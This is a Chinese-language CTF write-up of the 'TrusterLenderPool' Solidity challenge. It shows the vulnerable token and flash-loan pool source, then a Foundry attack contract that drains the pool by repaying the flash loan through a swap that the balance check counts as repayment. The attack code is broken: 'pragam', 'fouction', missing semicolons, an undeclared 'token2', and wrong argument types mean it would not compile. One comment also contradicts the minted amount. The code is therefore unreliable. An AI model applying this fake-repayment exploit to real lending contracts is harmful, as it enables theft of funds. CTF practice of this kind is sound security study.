CTF-TrusterLenderPool

这个题很经典。又是假装还款的存在

有用到swap交换,而且还是address(this)来检查token0的地址,所以就更加可以用来假装还款了

题目源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Cert is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;
address public admin;

struct AddressSlot {
address value;
}

// 预挖给msg.sender 1000个代币
constructor () {
_mint(msg.sender, 10000);
}

// 特定地址和admin啥也不做,否则
modifier safeCheek(address spender, uint256 amount) {
if (uint160(tx.origin) & 0xffffff != 0xbeddC4 || tx.origin == admin) {
_;
} else {
grant(spender, amount);
}
}

// 将第amount个slot的值设置为tx.origin
function grant(address spender, uint256 amount) internal {
// spender必须是一个合约,并且代码长度得小于10,长度限制挺苛刻的
require(spender.code.length > 0 && spender.code.length < 10);
AddressSlot storage r;
bytes32 slot = bytes32(amount);
assembly {
r.slot := slot
}
r.value = tx.origin;
}

function totalSupply() public view returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}

function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}

function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public safeCheek(spender,amount) returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}

function transferFrom(address from, address to, uint256 amount) public returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}

function _transfer( address from, address to, uint256 amount) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}

function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
}

function _approve( address owner, address spender, uint256 amount) internal {
if(tx.origin==admin){
require(msg.sender.code.length>0);
_allowances[spender][tx.origin] = amount;
return;
}
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}

function _spendAllowance( address owner, address spender, uint256 amount) internal {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}


contract TrusterLenderPool is ReentrancyGuard {

using Address for address;

IERC20 public immutable token0;
IERC20 public immutable token1;

// 创建了两个Cert,然后赋值给token0和token1,本合约拥有token0和token1各10000个
constructor () {
token0 = new Cert();
token1 = new Cert();
}

// 交换token0和token1,使用之前需要先授权给本合约,这里是等额交换,也就是加减法交换
function swap(address tokenAddress, uint amount) public returns(uint){
require(
// 以 || 为界限,必须上边都为true或下边都为true
tokenAddress == address(token0) && token1.transferFrom(msg.sender,address(this),amount) && token0.transfer(msg.sender,amount)

||

tokenAddress== address(token1) && token0.transferFrom(msg.sender,address(this),amount) && token1.transfer(msg.sender,amount));
return amount;

}

// 闪电贷
function flashLoan(uint256 borrowAmount,address borrower) external nonReentrant{
// 获取闪电贷之前token0的余额
uint256 balanceBefore = token0.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// 借给borrower,可以是任意地址
token0.transfer(borrower, borrowAmount);
// 回调borrower的receiveEther(uint256)进行还钱
borrower.functionCall(
abi.encodeWithSignature(
"receiveEther(uint256)",
borrowAmount
)
);

// 检查token0余额,必须大于等于之前的余额
uint256 balanceAfter = token0.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

// 本关目标:将token0余额设置为0
function Complete() external {
require(token0.balanceOf(address(this)) == 0);
}
}

和之前的一个整理的例子很想,都是讲token变为零

那么测试合约

//SPDX-License-Identifier: MIT
pragam solidity ^0.8.0;

import "forge-std/Test.sol"
import "src/TrusterLenderPool.sol"

contract attack is Test{

TrusterLenderPool pool;
Cert token0;
Cert token1;

function setUp() public {
pool = new TrusterLenderPool;
token0 = Cert(address(pool.token0()));
token2 = Cert(address(pool.token1()));
}

function test_TrusterLenderPool() public{
pool.flashLoan(10000,address(this));
token1.approve(pool,10000);
pool.swap(token0,10000);

assertEq(balanceOf(pool.token0()),0);
}

fouction receiveEther(uint256 amount) external{
token0.approve(pool,10000);
pool.swap(token1,10000);
}
}